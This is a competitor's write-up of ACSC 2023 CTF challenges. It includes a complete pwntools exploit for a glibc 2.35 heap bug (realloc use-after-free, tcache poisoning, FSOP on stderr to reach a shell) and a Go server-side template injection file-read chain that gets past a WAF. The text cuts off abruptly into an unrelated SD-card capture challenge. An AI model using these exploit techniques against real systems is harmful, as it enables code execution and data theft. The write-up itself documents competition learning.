This weekend, I spent my time competing at ACSC 2023. I got the 35th place, so I won’t be qualified. The challenges are good, so I decided to create this writeup for my future notes in case I faced similar problems. Below is my writeup for some of the challenges that I managed to solve.
Pwn
re (300 pts)
Description
Sometimes you want to rewrite notes.
nc re.chal.ctf.acsc.asia 9999
nc re-2.chal.ctf.acsc.asia 7352 (Backup)
Initial Analysis
We were given a binary file called chall and the libc as well. Checking the given libc, it is libc-2.35. Let’s try to disassemble the binary first.
int__fastcalledit(__int64a1,__int64a2){unsignedintv3;// [rsp+0h] [rbp-10h]
unsignedintsize;// [rsp+4h] [rbp-Ch]
void*alloc_ptr;// [rsp+8h] [rbp-8h]
printf("Index: ");v3=getint();if(v3>9)returnputs("Out of list");printf("Size: ");size=getint();if(size>0x78)returnputs("Too big memo");alloc_ptr=realloc(*((void**)&memo_arr+2*v3),size);if((unsigned__int64)size>*((_QWORD*)&memo_size+2*v3))*((_QWORD*)&memo_arr+2*v3)=alloc_ptr;*((_QWORD*)&memo_size+2*v3)=size;printf("Memo: ");getnline(*((_QWORD*)&memo_arr+2*v3),size);returnputs("Done");}
Okay, so looking at the disassembly, we can get some informations related to it:
Even though the disassembly gave us two array called memo_arr and memo_size, it’s actually just an array of struct, where the struct consists of:
Size
Pointer to the memo
The max elements of the array are 10
There is only two feature, edit and list.
list will iterate through the array, and then print the content only if the element size is not 0.
edit will allow you to call realloc on the array elements.
Max size is 0x78
So, the binary doesn’t use malloc or free, but it only use realloc to control the chunks. AFAIK, how realloc works:
realloc(NULL, new_size) is equivalent to normal malloc
realloc(ptr, new_size) will have different behaviors:
If new_size is the same, it will return the same chunk
Else:
if new_size is smaller, it will free the chunk and resize it to smaller size. The remainder will be placed in free list.
If new_size is bigger, it will free the current chunk and return a new bigger chunk.
Now, what if the new_size is 0? Basically, it is the same as free!
If you see on the edit function, it doesn’t handle properly if we try to realloc a chunk to 0. It didn’t nullify the ptr stored in the memo array. This is the bug that we will abuse. The initial analysis is finished, so now it’s time to think how to exploit this bug.
Exploitation
Understanding how realloc works
Because I’m not too familiar with how realloc works, I decided to play around it first. Let’s build our helper first so that we can interact with the binary easier.
As you can see, the free chunk in the tcache is not used. This piece of information will be useful later during crafting my final exploit.
Another behavior that I discovered is that:
Supposed that you have ptr which is a freed chunk with size 0x70
And then you call realloc(ptr, 0x70) on that freed chunk.
Because the size is the same, realloc won’t do nothing to that chunk. So it won’t allocate nor free that chunk again.
Combining the bug with how realloc works
Question
Now that we have played around realloc for a while, time to think on our plan to exploit the bug. Given the bug that it never nullify the entry once it has entered the array, what should we do to abuse this so that we can gain code execution?
Answer
The answer is we need to create overlapping chunks, so that we can trigger Use-After-Free!
Let’s look on the below sequence:
1
2
3
4
5
6
7
8
# Create Tcache overlapping chunksedit(0,0x70,b'a'*8)edit(1,0x70,b'a'*8)edit(0,0,b'a'*8)# tcache[0x80] = chunks[0]edit(1,0,b'a'*8)# tcache[0x80] = chunks[1] -> chunks[0]# This realloc will use the latest chunk in tcache[0x80]. Now, chunks[2] and chunks[1] overlap.# tcache[0x80] = chunks[0]edit(2,0x70,b'a'*8)# chunks[2] == chunks[1]
The above will make chunks[1] and chunks[2] pointing to the same address, which mean we have overlapping chunks. Below is the proof:
Now that we have overlapping chunk, we can do so many things.
Get heap address leak
Let’s start by leaking the heap address. To get a leak, we just need to call realloc(chunks[1], 0). Notice that the tcache bin linked list will become chunks[1] -> chunks[0], and the free call on chunks[1] will be considered as success because it is a valid chunk (due to the realloc call during initializing chunks[2]), yet the chunks[2] size stored in the mlist array will be still 0x70 (Because we call realloc on the chunks[1], not the chunks[2]. So, the binary only update the size stored in chunks[1]).
You just need to call list and the binary will still print the content of chunks[2], which now contains a pointer to the chunks[0]. Remember that the libc-2.35 mangle the pointer, but it is easy to demangle it. Below is the helper for demangle and mangle it.
1
2
3
4
5
6
7
8
9
10
11
# Taken from https://ctftime.org/writeup/34804defdemangle(val):mask=0xfff<<52whilemask:v=val&maskval^=(v>>12)mask>>=12returnvaldefmangle(heap_addr,val):return(heap_addr>>12)^val
Let’s continue our previous script by doing those two reallocs:
1
2
3
4
5
6
7
8
edit(1,0,b'a'*8)# Free chunks[1]. Now, chunks[2] contains mangled heap pointer# Get the leak via list() featureout=list()leaked_link=u64(out.split(b'[2] ')[1][:6].ljust(8,b'\x00'))leaked_heap=demangle(leaked_link)# Leaked heap == chunks[0] heap addresslog.info(f'leaked heap: {hex(leaked_heap)}')pause()
And below is the result:
1
2
[*] leaked heap: 0x5634e9da52a0
[*] Paused (press any to continue)
Now that we have a leak of the heap address, our next target would be to get a libc leak.
Get libc address leak
After thinking it for a while on how to get a libc leak, my approach is to create a fake chunk with size 0x420, free it (So that it will go to unsorted bin, and contain libc address), and try to take a look on its content after being freed.
In order to do that, what we need to do:
Poison the tcache free list, so that calling realloc will allocate to our desired address for our fake chunk.
Create overlapped chunk on that fake chunk.
Update the metadata of the fake chunk to 0x420
free it. Now the fake chunk will go to unsorted bin and contains libc adress of main_arena+96
Now with the overlapped chunk, we will use list to peek its content.
Below is the script to do that (continuing our previous script) with self-explanatory comment
# Now, our target is to create a fake chunk with size 0x420, free it, and then peek its content## First, poison the tcache list so that the realloc will allocate a chunk to our fake chunk.# We will place the fake chunk inside the chunks[0]+0x10, so that the fake chunk metadata will be placed in chunks[0]+0x0,# which mean we can edit the fake chunk metadata later after it got allocated by calling edit on chunks[0]target_addr=leaked_heap+0x10payload=p64(mangle(target_addr,target_addr))# Poison tcache list.# Notes that this realloc will do nothing as chunks[1] size metadata is still the same (0x80), # which is why the tcache[0x80] won't be consumed.edit(1,0x70,payload)edit(3,0x70,b'a'*8)# Will used the tcache entry, which is the same address as chunk[1]edit(4,0x70,b'a'*8)# Now, chunks[4] = chunks[0]+0x10# Second, create an overlap chunk with chunks[4].# We want to overlap chunks[4] and chunks[5].# But first, fix the metadata of the fake chunk first, so that the size will be set to 0x81payload=p64(0)+p64(0x81)edit(0,0x70,payload)# Fix the metadata of the fake chunk by editing the chunks[0]edit(4,0,b'a')# Now, we can free the chunks[4]. After the free, tcache[0x80] = chunks[4]# Allocate a new chunks[5], and it will use the latest chunk in tcache[0x80], which is chunks[4].edit(5,0x70,b'a')# Now, chunks[5] == chunks[4]# Third, forge the metadata to 0x421payload=p64(0)+p64(0x421)edit(0,0x70,payload)# Overwrite the metadata of the fake chunk# Now, before we free the fake chunk, we need to create two more valid fake chunks after fake_chunk+0x420# to fulfill the security check implemented in glibc.# But we don't have yet chunk which reside on that area (fake_chunk+0x420).# # So we need to call multiple realloc on the same chunks first to grow our heap, so that one of our controlled chunk.# is placed around that area.## Remember that if we call realloc with the same size, it will do nothing. So, to grow our heap, the trick is# we will realloc the target chunk to smaller size first, and then realloc it back again to the desired size.# # Also, remember that from our experiments, reallocing existing chunk to larger size won't use any cache# So, by doing this, we are guaranteed to grow our heap (none of our tcache chunks will be used).## Now, Observing the gdb, top chunk is placed in fake_chunk+0xf0.# So, to be able forge two more fake chunks on fake_chunk+0x420, we will need to allocate more.for_inrange(6):edit(1,0x10,b'a')edit(1,0x70,p64(0))# The above loop will make the top chunk is placed in fake_chunk+0x3f0# Resize it to smaller chunk first before doing the last allocation.edit(1,0x10,b'a')# Now, the below allocation will make the top chunk is placed in fake_chunk+0x470, which is enough# Specifically, the allocated chunk will be placed in fake_chunk+0x400, and because the chunk size is 0x70, we will# be able to forge two more fake chunk in area fake_chunk+0x420.# # So, our two fake chunks will be placed starting from this_chunk+0x20payload=p64(0)*4# 0x20 paddingpayload+=p64(0)+p64(0x21)+p64(0)*2# second fake chunkpayload+=p64(0)+p64(0x21)+p64(0)*2# third fake chunkedit(1,0x70,payload)# Now, our fake_chunk next chunks will be a valid chunk. We will be able to call free(chunks[4])# Free it to unsorted bin. Remember that chunks[4] == chunks[5]. # So, if you call list(), chunks[5] content will be a libc address to main_arena+96.edit(4,0,b'a')# Get Libc leakout=list()leaked_libc=u64(out.split(b'[5] ')[1][:6].ljust(8,b'\x00'))log.info(f'leaked libc: {hex(leaked_libc)}')libc.address=leaked_libc-(libc.symbols['main_arena']+96)log.info(f'libc base: {hex(libc.address)}')pause()
Running the above script will give us a libc leak
1
2
3
[*] leaked libc: 0x7fa505d32ce0
[*] libc base: 0x7fa505b19000
[*] Paused (press any to continue)
Now we have a libc leak, so obviously, our next step will be to gain code execution
tl;dr; In order to do FSOP Attack, what we need to do is:
Create a fake wide vtable inside our heap area
Create a fake wide data which vtable is pointing tou our fake wide vtable
Poison the tcache free list again, so that we have two chunks allocated in _IO_2_1_stderr_ area, specifically:
_IO_2_1_stderr_+0x0, and _IO_2_1_stderr_+0x70
The reason why we need two is because to modify the whole stderr FILE, we need to modify around 0xe0 bytes, while the maximum allocation is 0x78. So, I need two chunks to do that.
Modify the stderr FILE so that:
flags is b' sh\x00\x00\x00\x00')
_IO_write_base is 0
_IO_write_ptr is 1
_wide_data points to our fake wide data
vtable points to _IO_wfile_jumps table
Exit from the binary so that we will get a shell.
Below is the continue of our previous script with self-explanatory comment:
# Now, our target is to hijack the _IO_2_1_stderr_, so that during exit and flushing the available FILE,# we will get a shell.stderr_addr=libc.symbols['_IO_2_1_stderr_']# We only need to forge the wide_vtable+0x68 entry,# and we will place the fake_wide_vtable on chunks[0]fake_wide_vtable_addr=leaked_heap-0x68# By setting this, fake_wide_vtable+0x68 entry will point to chunks[0]# We will setup this fake wide vtable contents later after we setup the _IO_2_1_stderr_# We only need to forge the wide_data.vtable (which offset is wide_data+0xe0),# and we will place the fake_wide_data on chunks[1].# Observing in gdb, chunks[1] = chunks[0] + 0x400fake_wide_data_addr=leaked_heap+0x400-0xe0# By setting this, fake_wide_data.vtable will point to chunks[1]# We will setup this fake wide data contents later after we setup the _IO_2_1_stderr_# Setup a fake stderr FILE structure# We will split the whole fake stderr to two chunksfake_stderr=FileStructure(0)fake_stderr.flags=u64(b' sh\x00\x00\x00\x00')fake_stderr._IO_write_base=0fake_stderr._IO_write_ptr=1# _IO_write_ptr > _IO_write_basefake_stderr._wide_data=fake_wide_data_addrfake_stderr.vtable=libc.symbols['_IO_wfile_jumps']fake_stderr_bytes=bytes(fake_stderr)# We want to allocate a chunk to _IO_2_1_stderr_+0x0# First, fix the chunks[1] size metadata from 0x420 back to 0x80payload=p64(0)+p64(0x81)edit(0,0x70,payload)# After this edit, we will be able to free the chunks[1]edit(1,0,b'a')edit(4,0,b'a')# After this, tcache[0x80] = chunks[4] -> chunks[1]# Remember that chunks[4] = chunks[0]+0x10. So, we're able to edit chunks[4] tcache pointer via chunks[0].# Why don't we directly edit it via chunks[4]? Well we actually can, but in this case, the realloc will throw# error next size, because the chunks[4] size is no 0x80, and we haven't properly setup fake chunks in area chunks[4]+0x80payload=p64(0)+p64(0x81)payload+=p64(mangle(target_addr,stderr_addr))# Don't forget to mangle it, because tcache pointer expecting a mangled address.edit(0,0x70,payload)edit(6,0x70,b'0')# After this, next allocation will be placed in _IO_2_1_stderr_+0x0# Put the first half of our fake_stderr bytes on this allocation, because chunks[7] will be# allocated in _IO_2_1_stderr_+0x0payload=fake_stderr_bytes[:0x6f]edit(7,0x70,payload)# Now, repeat the previous step so that we can allocate a chunk to _IO_2_1_stderr_+0x70edit(4,0,b'a')edit(0,0,b'a')# Now tcache[0x80] = chunks[0] -> chunks[4]# Poison tcache pointer to point to _IO_2_1_stderr_+0x70edit(0,0x70,p64(mangle(target_addr,stderr_addr+0x70)))# Don't forget to mangle itedit(8,0x70,b'0')# After this, next allocation will be placed in _IO_2_1_stderr_+0x70# Put the second half of our fake_stderr bytes on this allocation, because chunks[9] will be# allocated in _IO_2_1_stderr_+0x70payload=fake_stderr_bytes[0x70:0x70+0x6f]edit(9,0x70,payload)# Now that we have successfully forge _IO_2_1_stderr_, time to finish it# Setup fake_wide_vtable entry to systemedit(0,0x70,p64(libc.symbols['system']))# Setup fake_wide_data.vtable to point to our fake wide vtableedit(1,0x70,p64(fake_wide_vtable_addr))# Exit from the binary, and we will get a shell!exit_program()r.interactive()
Running the above script, we will get a shell and we will be able to retrieve the flag!
frompwnimport*exe=ELF("./chall_patched")libc=ELF("./libc.so.6")ld=ELF("./ld-2.35.so")context.binary=execontext.arch='amd64'context.encoding='latin'context.log_level='INFO'warnings.simplefilter("ignore")remote_url="re-2.chal.ctf.acsc.asia"remote_port=7352gdbscript='''
'''defconn():ifargs.LOCAL:r=process([exe.path])ifargs.PLT_DEBUG:# gdb.attach(r, gdbscript=gdbscript)pause()else:r=remote(remote_url,remote_port)returnrr=conn()defdemangle(val):mask=0xfff<<52whilemask:v=val&maskval^=(v>>12)mask>>=12returnvaldefmangle(heap_addr,val):return(heap_addr>>12)^valdefedit(idx,size,memo):r.sendlineafter(b'> ',b'1')r.sendlineafter(b'Index: ',str(idx).encode())r.sendlineafter(b'Size: ',str(size).encode())ifsize>1:r.sendafter(b'Memo: ',memo)deflist():r.sendlineafter(b'> ',b'2')returnr.recvuntil(b'\nMENU').strip()defexit_program():r.sendlineafter(b'> ',b'0')# Create Tcache overlapping chunksedit(0,0x70,b'a'*8)edit(1,0x70,b'a'*8)edit(0,0,b'a'*8)# tcache[0x80] = chunks[0]edit(1,0,b'a'*8)# tcache[0x80] = chunks[1] -> chunks[0]# This realloc will use the latest chunk in tcache[0x80]. Now, chunks[2] and chunks[1] overlap.# tcache[0x80] = chunks[0]edit(2,0x70,b'a'*8)# chunks[2] == chunks[1]edit(1,0,b'a'*8)# Free chunks[1]. Now, chunks[2] contains mangled heap pointer# Get the leak via list() featureout=list()leaked_link=u64(out.split(b'[2] ')[1][:6].ljust(8,b'\x00'))leaked_heap=demangle(leaked_link)# Leaked heap == chunks[0] heap addresslog.info(f'leaked heap: {hex(leaked_heap)}')pause()# Now, our target is to create a fake chunk with size 0x420, free it, and then peek its content## First, poison the tcache list so that the realloc will allocate a chunk to our fake chunk.# We will place the fake chunk inside the chunks[0]+0x10, so that the fake chunk metadata will be placed in chunks[0]+0x0,# which mean we can edit the fake chunk metadata later after it got allocated by calling edit on chunks[0]target_addr=leaked_heap+0x10payload=p64(mangle(target_addr,target_addr))# Poison tcache list.# Notes that this realloc will do nothing as chunks[1] size metadata is still the same (0x80), # which is why the tcache[0x80] won't be consumed.edit(1,0x70,payload)edit(3,0x70,b'a'*8)# Will used the tcache entry, which is the same address as chunk[1]edit(4,0x70,b'a'*8)# Now, chunks[4] = chunks[0]+0x10# Second, create an overlap chunk with chunks[4].# We want to overlap chunks[4] and chunks[5].# But first, fix the metadata of the fake chunk first, so that the size will be set to 0x81payload=p64(0)+p64(0x81)edit(0,0x70,payload)# Fix the metadata of the fake chunk by editing the chunks[0]edit(4,0,b'a')# Now, we can free the chunks[4]. After the free, tcache[0x80] = chunks[4]# Allocate a new chunks[5], and it will use the latest chunk in tcache[0x80], which is chunks[4].edit(5,0x70,b'a')# Now, chunks[5] == chunks[4]# Third, forge the metadata to 0x421payload=p64(0)+p64(0x421)edit(0,0x70,payload)# Overwrite the metadata of the fake chunk# Now, before we free the fake chunk, we need to create two more valid fake chunks after fake_chunk+0x420# to fulfill the security check implemented in glibc.# But we don't have yet chunk which reside on that area (fake_chunk+0x420).# # So we need to call multiple realloc on the same chunks first to grow our heap, so that one of our controlled chunk.# is placed around that area.## Remember that if we call realloc with the same size, it will do nothing. So, to grow our heap, the trick is# we will realloc the target chunk to smaller size first, and then realloc it back again to the desired size.# # Also, remember that from our experiments, reallocing existing chunk to larger size won't use any cache# So, by doing this, we are guaranteed to grow our heap (none of our tcache chunks will be used).## Now, Observing the gdb, top chunk is placed in fake_chunk+0xf0.# So, to be able forge two more fake chunks on fake_chunk+0x420, we will need to allocate more.for_inrange(6):edit(1,0x10,b'a')edit(1,0x70,p64(0))# The above loop will make the top chunk is placed in fake_chunk+0x3f0# Resize it to smaller chunk first before doing the last allocation.edit(1,0x10,b'a')# Now, the below allocation will make the top chunk is placed in fake_chunk+0x470, which is enough# Specifically, the allocated chunk will be placed in fake_chunk+0x400, and because the chunk size is 0x70, we will# be able to forge two more fake chunk in area fake_chunk+0x420.# # So, our two fake chunks will be placed starting from this_chunk+0x20payload=p64(0)*4# 0x20 paddingpayload+=p64(0)+p64(0x21)+p64(0)*2# second fake chunkpayload+=p64(0)+p64(0x21)+p64(0)*2# third fake chunkedit(1,0x70,payload)# Now, our fake_chunk next chunks will be a valid chunk. We will be able to call free(chunks[4])# Free it to unsorted bin. Remember that chunks[4] == chunks[5]. # So, if you call list(), chunks[5] content will be a libc address to main_arena+96.edit(4,0,b'a')# Get Libc leakout=list()leaked_libc=u64(out.split(b'[5] ')[1][:6].ljust(8,b'\x00'))log.info(f'leaked libc: {hex(leaked_libc)}')libc.address=leaked_libc-(libc.symbols['main_arena']+96)log.info(f'libc base: {hex(libc.address)}')pause()# Now, our target is to hijack the _IO_2_1_stderr_, so that during exit and flushing the available FILE,# we will get a shell.stderr_addr=libc.symbols['_IO_2_1_stderr_']# We only need to forge the wide_vtable+0x68 entry,# and we will place the fake_wide_vtable on chunks[0]fake_wide_vtable_addr=leaked_heap-0x68# By setting this, fake_wide_vtable+0x68 entry will point to chunks[0]# We will setup this fake wide vtable contents later after we setup the _IO_2_1_stderr_# We only need to forge the wide_data.vtable (which offset is wide_data+0xe0),# and we will place the fake_wide_data on chunks[1].# Observing in gdb, chunks[1] = chunks[0] + 0x400fake_wide_data_addr=leaked_heap+0x400-0xe0# By setting this, fake_wide_data.vtable will point to chunks[1]# We will setup this fake wide data contents later after we setup the _IO_2_1_stderr_# Setup a fake stderr FILE structure# We will split the whole fake stderr to two chunksfake_stderr=FileStructure(0)fake_stderr.flags=u64(b' sh\x00\x00\x00\x00')fake_stderr._IO_write_base=0fake_stderr._IO_write_ptr=1# _IO_write_ptr > _IO_write_basefake_stderr._wide_data=fake_wide_data_addrfake_stderr.vtable=libc.symbols['_IO_wfile_jumps']fake_stderr_bytes=bytes(fake_stderr)# We want to allocate a chunk to _IO_2_1_stderr_+0x0# First, fix the chunks[1] size metadata from 0x420 back to 0x80payload=p64(0)+p64(0x81)edit(0,0x70,payload)# After this edit, we will be able to free the chunks[1]edit(1,0,b'a')edit(4,0,b'a')# After this, tcache[0x80] = chunks[4] -> chunks[1]# Remember that chunks[4] = chunks[0]+0x10. So, we're able to edit chunks[4] tcache pointer via chunks[0].# Why don't we directly edit it via chunks[4]? Well we actually can, but in this case, the realloc will throw# error next size, because the chunks[4] size is no 0x80, and we haven't properly setup fake chunks in area chunks[4]+0x80payload=p64(0)+p64(0x81)payload+=p64(mangle(target_addr,stderr_addr))# Don't forget to mangle it, because tcache pointer expecting a mangled address.edit(0,0x70,payload)edit(6,0x70,b'0')# After this, next allocation will be placed in _IO_2_1_stderr_+0x0# Put the first half of our fake_stderr bytes on this allocation, because chunks[7] will be# allocated in _IO_2_1_stderr_+0x0payload=fake_stderr_bytes[:0x6f]edit(7,0x70,payload)# Now, repeat the previous step so that we can allocate a chunk to _IO_2_1_stderr_+0x70edit(4,0,b'a')edit(0,0,b'a')# Now tcache[0x80] = chunks[0] -> chunks[4]# Poison tcache pointer to point to _IO_2_1_stderr_+0x70edit(0,0x70,p64(mangle(target_addr,stderr_addr+0x70)))# Don't forget to mangle itedit(8,0x70,b'0')# After this, next allocation will be placed in _IO_2_1_stderr_+0x70# Put the second half of our fake_stderr bytes on this allocation, because chunks[9] will be# allocated in _IO_2_1_stderr_+0x70payload=fake_stderr_bytes[0x70:0x70+0x6f]edit(9,0x70,payload)# Now that we have successfully forge _IO_2_1_stderr_, time to finish it# Setup fake_wide_vtable entry to systemedit(0,0x70,p64(libc.symbols['system']))# Setup fake_wide_data.vtable to point to our fake wide vtableedit(1,0x70,p64(fake_wide_vtable_addr))# Exit from the binary, and we will get a shell!exit_program()r.interactive()
Flag: ACSC{r34ll0c_15_n07_ju57_r34ll0c473}
Web
easySSTI (200 pts)
Description
Can you SSTI me?
Initial Analysis
On this challenge, we were given a WAF file called index.js and a go file called main.go as the main server. Let’s check the WAF file first
Reading through the code, basically, it will make a request to http://app:3001 in local, and then it will check whether the response has ACSC on it or not. If there is, it won’t return the full response of the app.
packagemainimport("bytes""fmt""html/template""net/http""os""github.com/labstack/echo/v4""github.com/labstack/echo/v4/middleware")functemplateMiddleware(nextecho.HandlerFunc)echo.HandlerFunc{returnfunc(cecho.Context)error{file,err:=os.Open("./template.html")iferr!=nil{returnerr}stat,err:=file.Stat()iferr!=nil{returnerr}buf:=make([]byte,stat.Size())_,err=file.Read(buf)iferr!=nil{returnerr}userTemplate:=c.Request().Header.Get("Template")ifuserTemplate!=""{buf=[]byte(userTemplate)}c.Set("template",buf)returnnext(c)}}funchandleIndex(cecho.Context)error{tmpl,ok:=c.Get("template").([]byte)if!ok{returnfmt.Errorf("failed to get template")}tmplStr:=string(tmpl)t,err:=template.New("page").Parse(tmplStr)iferr!=nil{returnc.String(http.StatusInternalServerError,err.Error())}buf:=new(bytes.Buffer)iferr:=t.Execute(buf,c);err!=nil{returnc.String(http.StatusInternalServerError,err.Error())}returnc.HTML(http.StatusOK,buf.String())}funcmain(){e:=echo.New()e.Use(middleware.Logger())e.Use(middleware.Recover())e.GET("/",handleIndex,templateMiddleware)e.Logger.Fatal(e.Start(":3001"))}
Notice that in templateMiddleware, there is a logic where:
If user request header Template is set, it will use the user template instead of the default template. and set it in the echo.Context.
And then, in the handleIndex, it will:
Fetch the stored Template inside echo.Context
Serve the template.
And also during serving the template, it injects echo.Context into it.
From those codes, we can see the app is vulnerable to Server-Side Template Injection, because we can define our own template. However, there is a WAF that we need to bypass as well if we’re able to read the /flag file because the content of the read file isn’t allowed to contain ACSC.
Exploitation
Now that we know the bug, I decided to browse first on how SSTI in Golang works. This article helps me a lot on understanding how the SSTI works. The . scope in the template is coming from the injected echo.Context variable. Basically, what we need to do to solve this challenge is:
Find a good method under echo.Context so that we can read the /flag
Remove the ACSC string in the flag before returning it.
Now, based on that article, it is actually very easy to read a file. We can inject {{ .File "/etc/passwd" }} to read a file, because echo.Context interface has File method
1
2
// File sends a response with the content of the file.
File(filestring)error
However, we can’t do that directly to the /flag because the WAF will prevent it.
So, I decided to explore the echo.Context interface one by one. First thing that I notice:
echo.Context has Echo() command to get back to the echo instance.
// Located in echo/echo.go
type(// Echo is the top-level framework instance.
//
// Goroutine safety: Do not mutate Echo instance fields after server has started. Accessing these
// fields from handlers/middlewares and changing field values at the same time leads to data-races.
// Adding new routes after the server has been started is also not safe!
Echostruct{filesystemcommon// startupMutex is mutex to lock Echo instance access during server configuration and startup. Useful for to get
// listener address info (on which interface/port was listener binded) without having data races.
startupMutexsync.RWMutexcolorer*color.Color// premiddleware are middlewares that are run before routing is done. In case a pre-middleware returns
// an error the router is not executed and the request will end up in the global error handler.
premiddleware[]MiddlewareFuncmiddleware[]MiddlewareFuncmaxParam*introuter*Routerroutersmap[string]*Routerpoolsync.PoolStdLogger*stdLog.LoggerServer*http.ServerTLSServer*http.ServerListenernet.ListenerTLSListenernet.ListenerAutoTLSManagerautocert.ManagerDisableHTTP2boolDebugboolHideBannerboolHidePortboolHTTPErrorHandlerHTTPErrorHandlerBinderBinderJSONSerializerJSONSerializerValidatorValidatorRendererRendererLoggerLoggerIPExtractorIPExtractorListenerNetworkstring// OnAddRouteHandler is called when Echo adds new route to specific host router.
OnAddRouteHandlerfunc(hoststring,routeRoute,handlerHandlerFunc,middleware[]MiddlewareFunc)})
I saw an interesting field embedded in the Echo struct, which is filesystem. I tried to explore that, and below is the result:
// Located in io/fs/fs.go
...// An FS provides access to a hierarchical file system.
//
// The FS interface is the minimum implementation required of the file system.
// A file system may implement additional interfaces,
// such as ReadFileFS, to provide additional or optimized functionality.
typeFSinterface{// Open opens the named file.
//
// When Open returns an error, it should be of type *PathError
// with the Op field set to "open", the Path field set to name,
// and the Err field describing the problem.
//
// Open should reject attempts to open names that do not satisfy
// ValidPath(name), returning a *PathError with Err set to
// ErrInvalid or ErrNotExist.
Open(namestring)(File,error)}// Located in echo/echo_fs.go
...typefilesystemstruct{// Filesystem is file system used by Static and File handlers to access files.
// Defaults to os.DirFS(".")
//
// When dealing with `embed.FS` use `fs := echo.MustSubFS(fs, "rootDirectory") to create sub fs which uses necessary
// prefix for directory path. This is necessary as `//go:embed assets/images` embeds files with paths
// including `assets/images` as their prefix.
Filesystemfs.FS}funccreateFilesystem()filesystem{returnfilesystem{Filesystem:newDefaultFS(),}}// defaultFS exists to preserve pre v4.7.0 behaviour where files were open by `os.Open`.
// v4.7 introduced `echo.Filesystem` field which is Go1.16+ `fs.Fs` interface.
// Difference between `os.Open` and `fs.Open` is that FS does not allow opening path that start with `.`, `..` or `/`
// etc. For example previously you could have `../images` in your application but `fs := os.DirFS("./")` would not
// allow you to use `fs.Open("../images")` and this would break all old applications that rely on being able to
// traverse up from current executable run path.
// NB: private because you really should use fs.FS implementation instances
typedefaultFSstruct{prefixstringfsfs.FS}funcnewDefaultFS()*defaultFS{dir,_:=os.Getwd()return&defaultFS{prefix:dir,fs:nil,}}func(fsdefaultFS)Open(namestring)(fs.File,error){iffs.fs==nil{returnos.Open(name)}returnfs.fs.Open(name)}// Located in os/file.go
...// Open opens the named file for reading. If successful, methods on
// the returned file can be used for reading; the associated file
// descriptor has mode O_RDONLY.
// If there is an error, it will be of type *PathError.
funcOpen(namestring)(*File,error){returnOpenFile(name,O_RDONLY,0)}// Located in os/types.go
...// File represents an open file descriptor.
typeFilestruct{*file// os specific
}// Located in os/file.go
...// Seek sets the offset for the next Read or Write on file to offset, interpreted
// according to whence: 0 means relative to the origin of the file, 1 means
// relative to the current offset, and 2 means relative to the end.
// It returns the new offset and an error, if any.
// The behavior of Seek on a file opened with O_APPEND is not specified.
//
// If f is a directory, the behavior of Seek varies by operating
// system; you can seek to the beginning of the directory on Unix-like
// operating systems, but not on Windows.
func(f*File)Seek(offsetint64,whenceint)(retint64,errerror){iferr:=f.checkValid("seek");err!=nil{return0,err}r,e:=f.seek(offset,whence)ife==nil&&f.dirinfo!=nil&&r!=0{e=syscall.EISDIR}ife!=nil{return0,f.wrapErr("seek",e)}returnr,nil}
Interesting, based on those code that I explore:
Echo has Filesystem field:
Which is an interface of fs.FS
Which is initialized by createFilesystem
Interface fs.FS has Open method
The underlying struct that is passed to Echo.Filesystem during initialization is actually defaultFS.
Reading through the Open implementation, calling Echo.Filesystem.Open will actually trigger os.Open and return os.File
Why is it os.Open? Because during calling the newDefaultFS(), the fs field was set to nil.
os.File has Seek method which can be used to adjust Read pointer.
Based on those exploration, a path to skip the ACSC before actually read the file can be seen. The chain that I can think of to do that is:
Call .Echo.Filesystem.Open "/flag", and then we will open a file and return an os.File struct.
Call Seek(4, 0) on the returned File. This will shift the file pointer and skip the ACSC part.
At this point, we have successfully seek the opened file. Now, the remaining part is how to return the opened file to the response. Exploring the echo.Context struct again, I found an interesting method
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// Located in echo/context.go
...func(c*context)Stream(codeint,contentTypestring,rio.Reader)(errerror){c.writeContentType(contentType)c.response.WriteHeader(code)_,err=io.Copy(c.response,r)return}// Located in io/io/go
...typeReaderinterface{Read(p[]byte)(nint,errerror)}
By calling .Stream and pass the opened file, the opened file content will be copied and written to the response. We can pass an opened File because it implements Reader interface (due to File has implemented Read method)
1
2
3
4
5
6
7
8
9
10
11
12
// Located in os/file.go
...// Read reads up to len(b) bytes from the File and stores them in b.
// It returns the number of bytes read and any error encountered.
// At end of file, Read returns 0, io.EOF.
func(f*File)Read(b[]byte)(nint,errerror){iferr:=f.checkValid("read");err!=nil{return0,err}n,e:=f.read(b)returnn,f.wrapErr("read",e)}
Now that we know how to return it in our response, below is the full payload that I used
I have captured communication between a SD card and an embedded device. Could you extract the content of the SD Card? It’s in SPI mode.
Initial Analysis
On this challenge, we were given a file spi.txt which contents are like below (redacted because it’s too long):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Device to SD Card : 400000000095
SD Card to Device : 01
Device to SD Card : 48000001aa87
SD Card to Device : 01000001aa
Device to SD Card : 770000000065
SD Card to Device : 01
Device to SD Card : 694000000077
SD Card to Device : 01
Device to SD Card : 770000000065
SD Card to Device : 01
...
...
...
Device to SD Card : 510000003eff
SD Card to Device : 00
SD Card to Device : fffffffffffffffffffffffffe00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Device to SD Card : 5100000029b3
SD Card to Device : 00
